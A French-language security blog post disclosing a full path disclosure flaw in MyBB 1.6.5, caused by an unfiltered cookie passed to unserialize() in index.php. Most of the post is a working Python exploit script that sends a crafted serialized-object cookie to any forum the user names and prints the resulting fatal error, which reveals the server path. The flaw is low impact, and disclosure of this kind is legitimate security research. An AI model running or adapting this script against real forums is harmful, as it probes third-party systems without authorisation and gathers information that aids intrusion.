Pour bien commencer l’année 2012, voici une full path disclosure dans la lignée de mon dernier article.
Dans la dernière version de MyBB (1.6.5), index.php ligne 323 :
if($mybb->user['uid'] == 0) { // Build a forum cache. $query = $db->query(" SELECT * FROM ".TABLE_PREFIX."forums WHERE active != 0 ORDER BY pid, disporder "); $forumsread = unserialize($mybb->cookies['mybb']['forumread']); }
Les cookies n’étant absolument pas filtré, il suffit de mettre dans le cookie « mybb[forumread] » (déduit après analyse du code) une instance de classe serializé qui existe ou non dans le code. Nous récupérerons alors une fatal error car la variable $forumsread est utilisé plus bas comme un tableau.
Exploit en Python :
#!/usr/bin/env python # encoding: utf-8 """ MyBB 1.6.5 Full Path Disclosure https://tlking.wordpress.com/ """ import httplib import sys if __name__ == "__main__": if len(sys.argv) != 3: print("Usage :") print("\t{0} host path".format(sys.argv[0])) print("Exemple :") print("\t{0} \"demo.forum-software.org:80\" \"/mybb/\"".format(sys.argv[0])) sys.exit(0) host = sys.argv[1] path = sys.argv[2] print("Launch attack on : http://{0}{1}/index.php".format(host,path)) path += "/index.php" headers = {"Cookie":"mybb[forumread]=O%3A10%3A%22TlkMyBBFPD%22%3A0%3A%7B%7D;"} connexion = httplib.HTTPConnection(host) connexion.request("GET",path, "", headers) reponse = connexion.getresponse() data = reponse.read() if data.count("Fatal error") > 0: print("\nIt's work :") print(data) else: print("Don't work... Want to see the result anyway ? (1/0)") question = input() if question == 1: print(data)